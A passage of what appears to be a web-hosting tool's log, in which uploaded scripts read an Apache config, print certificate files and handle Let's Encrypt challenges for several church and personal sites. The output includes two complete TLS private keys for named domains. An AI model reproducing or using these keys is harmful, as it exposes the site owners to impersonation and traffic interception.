jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/persianchurch_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-05 18:05:24: 

chmod 755 /tmp/pkp592148; /tmp/pkp592148; rm /tmp/pkp592148

2026-07-05 18:05:24: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/persianchurch_www_info.conf	1429

<VirtualHost *:80>
    ServerName	persianchurch.info
    ServerAlias	www.persianchurch.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/persianchurch_www
    <Directory /var/www/persianchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/persianchurch/www_access.log combined
    ErrorLog	/var/log/apache2/persianchurch/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	persianchurch.info
    ServerAlias	www.persianchurch.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8eb6e7ad55f500c5383398213d6ce103.crt
    DocumentRoot	/var/www/persianchurch_www
    <Directory /var/www/persianchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/persianchurch/www_secure_access.log combined
    ErrorLog	/var/log/apache2/persianchurch/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-07-05 18:05:24: 

PUT: /tmp/pkp584249

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/8eb6e7ad55f500c5383398213d6ce103.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-05 18:05:24: 

chmod 755 /tmp/pkp584249; /tmp/pkp584249; rm /tmp/pkp584249

2026-07-05 18:05:24: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/8eb6e7ad55f500c5383398213d6ce103.crt	7457
36:db:df:a3:c6:96:0f:e9:db:93:c2:ef:b7:46:00:45

-----BEGIN CERTIFICATE-----
MIIFFjCCA/6gAwIBAgISBXLLzMLMzGxbXbFkWEJJUyOaMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNzA1MTcwNjUxWhcNMjYxMDAzMTcwNjUwWjAdMRswGQYDVQQD
ExJwZXJzaWFuY2h1cmNoLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCvxsSV7CoyarUoqG32MwoAJg7o0dOtIJfn+uMYVU0no+7CIr8rTE62pF42
6WAd3XtNiWWY2a6jnhPk0VNGPu+w7F3utQuVrsCEM5ljJcimxn8TGe4IW7gkNQXe
8ej8xdggK26pajboohan3FLvi2lCnBS3eslqbJZOCL4bUp9ExY+c89sFAYFjLMl3
stc5wd7ob+E1a3B8RZFuMqOf+VN+fjCJR26L39ImtRzOC3Tl+QVkCvBIS5CyEKR7
ltCb1EssvEM0KuojVyvTnvmy8JwFWuzYGHPdZUv848MP06HhfMEWLwRU2RkLTGn/
zR3oB9Qjb+teyN3V7TxahHpr4OMdAgMBAAGjggI4MIICNDAOBgNVHQ8BAf8EBAMC
BaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU
aF4gJE3+gjOITsxK2/1sHmag0p0wHwYDVR0jBBgwFoAUHy81vkYUgs1Asa55LFV4
+vfUaPswMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIxLmku
bGVuY3Iub3JnLzA1BgNVHREELjAsghJwZXJzaWFuY2h1cmNoLmluZm+CFnd3dy5w
ZXJzaWFuY2h1cmNoLmluZm8wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcw
JTAjoCGgH4YdaHR0cDovL3lyMS5jLmxlbmNyLm9yZy8yNy5jcmwwggEMBgorBgEE
AdZ5AgQCBIH9BIH6APgAdwDIo8R/x7OtuTVrAT9qehJt4zpOQ6XGRvmXrTl1mR3P
mgAAAZ8zdNEHAAAEAwBIMEYCIQD9GPna9TIC1klMYjatfGKejiwV6cn/YAqhE3H4
9LAUywIhAJdc6rbPadYkmYQZlLR8N/bfOiLvDoZvOejyZPKHpmuUAH0AJuNkblhp
ISO8ND9HJDWbN5LNJFqI2BXTkzP9mRirRyMAAAGfM3TO/QAIAAAFACXCF40EAwBG
MEQCIEaCKeMtrGKTffqO5b+rs9Z/1X1nOS6RisrniDWsoGYUAiA9wwCTzNaKwMN0
LagXTpIN9c3vBN5wNejjy710KqOTLzANBgkqhkiG9w0BAQsFAAOCAQEAjdvrYIqM
3vgjc4uaqASNCNm+Auo0mrKtLgJAe+g7Z+VuBkJ1bKRbbktc8H3nxelnydjKglnm
FOxQtcc0Ab9B9PeOnH3fLrr00FGqi7elTL5yA8awur1+YD1B7YEcwkNXJIEGf9ZX
zXSDukO2DdIpYB2PpAIRD2W8vzkrlgIUXWdBUwqc9vBeVfjs8wI7437p9HIkpX8V
H+ZSZZnj494k78X9hghZSpoaOlDvbLLBjqL8cy64yCCKTME7H+RtCK3VTyw5vZhp
DQnb1oXwQbpQJ4ugRRBWpi5lm9IJS+n6/kVi3mkJ59ozS89CIRBd3HaivTXMLRWg
ZCOyuosStLnKww==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCvxsSV7CoyarUo
qG32MwoAJg7o0dOtIJfn+uMYVU0no+7CIr8rTE62pF426WAd3XtNiWWY2a6jnhPk
0VNGPu+w7F3utQuVrsCEM5ljJcimxn8TGe4IW7gkNQXe8ej8xdggK26pajboohan
3FLvi2lCnBS3eslqbJZOCL4bUp9ExY+c89sFAYFjLMl3stc5wd7ob+E1a3B8RZFu
MqOf+VN+fjCJR26L39ImtRzOC3Tl+QVkCvBIS5CyEKR7ltCb1EssvEM0KuojVyvT
nvmy8JwFWuzYGHPdZUv848MP06HhfMEWLwRU2RkLTGn/zR3oB9Qjb+teyN3V7Txa
hHpr4OMdAgMBAAECggEAAgr5ApZhuypFprj7u4PGVvrE65ccswNmSzo9j20rs2KS
sMuUld081knnamignFg+9EdngzTsdFcEUNbPSp61TG9tfAu7RxG73Q14d+WFhSKu
HBEOFNIevBT9rM9Pmjh2auag/PO7ZaK/SVN53JzYgVStDPYusb+cqOrYbXAyt6rg
hm2zDh8aEcPxm798McEnGyTXJaF46cSfLqBeKXZBSV9mMRTJuy6RoTjitHf9DnC5
IOIr1HVYnSlTiAOutxp6GUQlk1yVgWr/Dmc6xZj4CLWh3RcU6oDZ0f9tmvARB2HM
LphLGdoeQz6nBHDZQC34FqjDWDSA02c5TUCLLvL5ZQKBgQDePXsjkt63qZJ/tQwl
Ifgj+WLeAs6TuL6ctrMrJI9ppFT9g3JHiehF9joxhO8AMQyZ7Mgo+Fos+XkSFukD
Bf33ppvj9fGlmvuzM6Tpc0R6LvCMQekJIt80x7YDA40OP8B3Tsmkk/JggfmoIrwA
rnm6EzfEtXKcCbuBgLuE2CdJewKBgQDKemWCELmF4FzEbiUz3GeiaRMwTS5TN025
B93DYPICLUjT2wrEpqttVoLJOEwBnVu0FbCOopDKgrkscF7oxQ0nzfhtv665m8t1
dzZHikNHejX58Z/JM5mWh8bsZyJmjhNft8Z/ondRylUFnQcieyI76StEBn08HYPW
sxKk27XmRwKBgEioLQP6VloRVFXwKOJS8r9AHzSaElN1SMwPZxApycEt+qNPQCNn
UMrerzPVVBXp80a3hNDwMPsXLJ/fYZqdcORwUfL7S19rBfMWZUn1Z2PSyM3yFm/o
OLUWvcjKdmk8Kn5XAdGOlOU8WRTBFlnasO1Gryreb3PYMrcqESRjTqTVAoGAZ0FF
tK9svL3u8OkupaTXYLZu56nkXuGMDDjbuYAdykhnpEpG0oQgVdDRP2YrNIOXuV16
PTLf3bYOUoA3lkKu88aQ0v72TocJmayijJcQukmzbvPuRT/AKkixg+sQWvZHIP/q
BTrH2HjzJLqwYcAjdCPzQWyBvv9aNUn6zwGQYI8CgYEAhT7FsFkQHxME4qi4vVEw
8/QqpDnxmewIK2LYtTkDPsM3Ie1e/WzMU666TyyhJCdNpPVAkzrEnyAqPHft33Fr
v0Hs6BBX7fd9M1lvBoYnAiGsipmwTPEGIh51+NKhh7zgY+xy+Lgvz4bsUSComJ+a
v7KUWldyLszxaYIDXxqIzBo=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----






2026-07-06 06:00:01: Establishing a connection
2026-07-06 06:00:02: Establishing a connection
2026-07-06 06:00:02: 

PUT: /tmp/pkp439387

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_backup/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-06 06:00:03: 

chmod 755 /tmp/pkp439387; /tmp/pkp439387; rm /tmp/pkp439387

2026-07-06 06:00:03: 


1


2026-07-06 06:00:04: Establishing a connection
2026-07-06 06:00:05: 

PUT: /tmp/pkp186068

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cat > GX7gRjp6uXDYwC_PQLcom9eiRTiQ2uKn7OcHDIlS_s4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
GX7gRjp6uXDYwC_PQLcom9eiRTiQ2uKn7OcHDIlS_s4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 GX7gRjp6uXDYwC_PQLcom9eiRTiQ2uKn7OcHDIlS_s4


2026-07-06 06:00:05: 

chmod 755 /tmp/pkp186068; /tmp/pkp186068; rm /tmp/pkp186068

2026-07-06 06:00:05: 




2026-07-07 06:00:02: Establishing a connection
2026-07-07 06:00:02: Establishing a connection
2026-07-07 06:00:02: 

PUT: /tmp/pkp428521

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_backup/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-07 06:00:03: 

chmod 755 /tmp/pkp428521; /tmp/pkp428521; rm /tmp/pkp428521

2026-07-07 06:00:03: 


1


2026-07-07 06:00:04: Establishing a connection
2026-07-07 06:00:05: 

PUT: /tmp/pkp581028

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cat > nbeAzqK6lwUrPm0bC-lXtC8Sqq-S5eHyExkp5s1JGK0 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
nbeAzqK6lwUrPm0bC-lXtC8Sqq-S5eHyExkp5s1JGK0.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 nbeAzqK6lwUrPm0bC-lXtC8Sqq-S5eHyExkp5s1JGK0


2026-07-07 06:00:05: 

chmod 755 /tmp/pkp581028; /tmp/pkp581028; rm /tmp/pkp581028

2026-07-07 06:00:05: 




2026-07-07 06:00:06: Establishing a connection
2026-07-07 06:00:06: Establishing a connection
2026-07-07 06:00:07: 

PUT: /tmp/pkp680268

#!/bin/bash
if [ -d "/var/www/drewmarshall_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-07 06:00:07: 

chmod 755 /tmp/pkp680268; /tmp/pkp680268; rm /tmp/pkp680268

2026-07-07 06:00:07: 


1


2026-07-07 06:00:08: Establishing a connection
2026-07-07 06:00:08: 

PUT: /tmp/pkp791787

#!/bin/bash
mkdir -p "/var/www/drewmarshall_www/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_www/.well-known/acme-challenge/"
cat > XIgsZ25HPUxysbuTnkxWmHmFcKWaBvgXLgN6UknSve0 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
XIgsZ25HPUxysbuTnkxWmHmFcKWaBvgXLgN6UknSve0.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 XIgsZ25HPUxysbuTnkxWmHmFcKWaBvgXLgN6UknSve0
cat > jf0iXPtwwfL4IIH_FfvWw-mlaOkb2KOglIJJEzXHGhU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jf0iXPtwwfL4IIH_FfvWw-mlaOkb2KOglIJJEzXHGhU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 jf0iXPtwwfL4IIH_FfvWw-mlaOkb2KOglIJJEzXHGhU


2026-07-07 06:00:08: 

chmod 755 /tmp/pkp791787; /tmp/pkp791787; rm /tmp/pkp791787

2026-07-07 06:00:08: 




2026-07-07 06:00:23: Establishing a connection
2026-07-07 06:00:23: 

PUT: /tmp/pkp468061

#!/bin/bash
mkdir -p "/var/www/drewmarshall_www/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_www/.well-known/acme-challenge/"
rm XIgsZ25HPUxysbuTnkxWmHmFcKWaBvgXLgN6UknSve0
rm jf0iXPtwwfL4IIH_FfvWw-mlaOkb2KOglIJJEzXHGhU


2026-07-07 06:00:24: 

chmod 755 /tmp/pkp468061; /tmp/pkp468061; rm /tmp/pkp468061

2026-07-07 06:00:24: 




2026-07-07 06:00:24: Establishing a connection
2026-07-07 06:00:24: 

PUT: /tmp/pkp783209

#!/bin/bash
temp_file=$(mktemp)
TARGET=2c3c17c005831b4a6e867c2d7a99a9f3.crt

cat > $temp_file <<'endmsg'
91:09:7e:d8:cc:ec:cf:a0:d6:30:8b:e9:35:65:25:b9

-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBa50fGrerl581urmtkwg4V/CMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNzA3MDUwMTUyWhcNMjYxMDA1MDUwMTUxWjAaMRgwFgYDVQQD
Ew9kcmV3bWFyc2hhbGwuY2EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCkZBd5ctMUUJ1zqM+E5FR2giZjyoRLwmrxqhvFNf8RL1MiBwWwtRaa6ySWDAq3
gpsC0U9llEQxPteS0aMntmimEEev1S4QmRzowruTqtzHS0dT2p31qzMD2girthU0
Hhxs/6+MdR5vi7TUa5aBjkD4VQPoXdr41QXVftW/WKhcL+IIsh/uiApyfWiNhRKW
I4cJcsmAhf7rObY3TlxKj35PBT0UK4fDkK/yRFDBZps3za4gm/wKqesIC23X+PW1
5vfbw4/Xm63zY3oOQhSTy9mMIBcm9jOTe6unNhBgPUk+FbpMchdMZjNdmLLXzZX9
ng98qMNrpRosPhv1/zHUYWr1AgMBAAGjggIzMIICLzAOBgNVHQ8BAf8EBAMCBaAw
EwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUVk5M
UxVGyfznSnN5KGvYDo3HjO0wHwYDVR0jBBgwFoAUQBUtJnntMiCe35pyHdYyH4EM
gQwwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIyLmkubGVu
Y3Iub3JnLzAvBgNVHREEKDAmgg9kcmV3bWFyc2hhbGwuY2GCE3d3dy5kcmV3bWFy
c2hhbGwuY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4Yd
aHR0cDovL3lyMi5jLmxlbmNyLm9yZy82Ny5jcmwwggENBgorBgEEAdZ5AgQCBIH+
BIH7APkAdwDLOPcViXyEoURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZ87Kcru
AAAEAwBIMEYCIQCPk3XJUbW+J+9Kfqvl4ay1eMn2is3K3ANC8qmQtFybSgIhAMII
yx/1sVOMMnDxT5N2awLkow9zAvX3OxNtJWbiS24sAH4AqCbL4wrGNRJGUz/gZfFP
GdluGQgTxB3ZbXkAsxI8VScAAAGfOynN9wAIAAAFABLWnJ0EAwBHMEUCIQCG982E
ZfagoFiwwC0NfJrsbYqmar2GCqVsGYy+UR34CwIgfgpbO7kgW06ufPVhkG4j1gFG
vmMtScqFfKqVdKqomu4wDQYJKoZIhvcNAQELBQADggEBAHNhN+2DE6+Q8SlTmPUB
mEv6sNAzZPhoTVoXEj6tAd332uWkIS9ODbWri5NJvdgPzTJUptVUZcZl+QJ1jDac
EXauzRK5yxQ5L1SEIjRDeSrr69C1MSbmHqrs3uFa3ErgVLtDacwqStksJ+omZDsI
VuUqsx5lzqobaf/R0vbSXUfSfKCf8dc6qbw6NM5oOsWVJFXQT0zHSVIztlh/15vj
TeFFtW0oR4OnDSl6m/Yk53HMYHe4q0DvcDzSnp8CoKmaRkrcz9FD3c0kREebxp9b
mIbOA7gZvSrFryYmZS2Vepjk4Plj5Rfq1ZVt2gdO1V6FTehsEhPbxYyYRTONH4cg
nzQ=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCkZBd5ctMUUJ1z
qM+E5FR2giZjyoRLwmrxqhvFNf8RL1MiBwWwtRaa6ySWDAq3gpsC0U9llEQxPteS
0aMntmimEEev1S4QmRzowruTqtzHS0dT2p31qzMD2girthU0Hhxs/6+MdR5vi7TU
a5aBjkD4VQPoXdr41QXVftW/WKhcL+IIsh/uiApyfWiNhRKWI4cJcsmAhf7rObY3
TlxKj35PBT0UK4fDkK/yRFDBZps3za4gm/wKqesIC23X+PW15vfbw4/Xm63zY3oO
QhSTy9mMIBcm9jOTe6unNhBgPUk+FbpMchdMZjNdmLLXzZX9ng98qMNrpRosPhv1
/zHUYWr1AgMBAAECggEAEiA6hGN4SbZP03Jqxe+P2UH62KhPqQjRVj8tm7ObTGTy
8363Dme74S4J6oTTuQNCHe/qo2Z96bjQ9+PR68Li9riMfE3zASqDc64RFQmobqMV
b3YHUmYOPx+kiBu7anPi1NPmd9lsFzGI0/Pe9FRf7ox1MgMImMToRUTxwuI+12x/
jQhLbyXStamgxWgh/HzKiqnKZCWWm6BCiEMYN3HLAa1QGR/bllLMye4WQlhVEc1E
jEWZVGskxU8iEjqpTRcbn9CjOdXQ3tbsYmp852+/LYZRhFgyZe5cwbD70PwBpnsJ
x7CHeF0M43/r5BmNGNp3o0DGJGpbU3JJboA0CPZ0OwKBgQDXeioGO/O9s31C0Zj6
eUmfj7vS92vyEvClwkllii8uviphF0K7QEKi38DFHMFtBiVWpuXq3h4AioqFWXX5
EsBcJrDWTgEZTXw7gofNYI9KA7HJZCY1TTw72foXzV97/471MKRRy6WaMKprhfc7
cjGlDHZb9m5zitGEjSV2ObQpEwKBgQDDTnS3mlCLkHGWHNFl4dB8TJY+lAORmWbP
sLJ/NtHKXjZ5oKvc+VteGNqPDu8pGX2OrkkIFh9QdkqsigjsOEoA+kIhWc/ER6DI
xmwuIehS0EbNJ+m6Z2dqRfFNhbw5YpEI1KfjgF4pdI8Gk5Fh7bgC0B47dn6qQEYj
1MwQDkrk1wKBgQCqYXnLViqETOH2LN/G5pLVrYS561SapGlO2JLKzHpEfq/p98eX
YteODFlUQ0mbGKn7m5rfnWShzup7SOLk4PPjqeBYhHOP+1oJgEw7lGeZAdTZxuwD
Z6ACP3jmy0j+NnRm4mB8IQhAJM0MmnCEu+YPeQw56WEq0ZCcPDNsCXKwqwKBgQCT
9vWAQB3zjmwvkQeni0v7T76oDFUj0rdMdA7XSD3qdjQJM4vhLt1kzamPpn3UgmZY
WXwk7zWsLOJoE2+tHvwZ/39oavV4O9f5JDLDRJcRXo+1UB7IRRzZK8IjvEUcqKs+
qHXFavRrrc3J6rTDH2lAYFH3NM/DxkwdS1OKenmNIwKBgDeUXXThbbnaavf5dwAL
cpAD2oiqsgknh/btN+BWuXkjRluNqlssMU4TINjyfAoygHMx707+62cEq2aZnVDp
K3Iv+8CDw66EW01s0WwFdYXE/wGwLBWcr7f8Idi9ChGoyTkXk+nK1q3rNcI7+UOp
gifB2cheimQyTyGz12TjUCOq
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
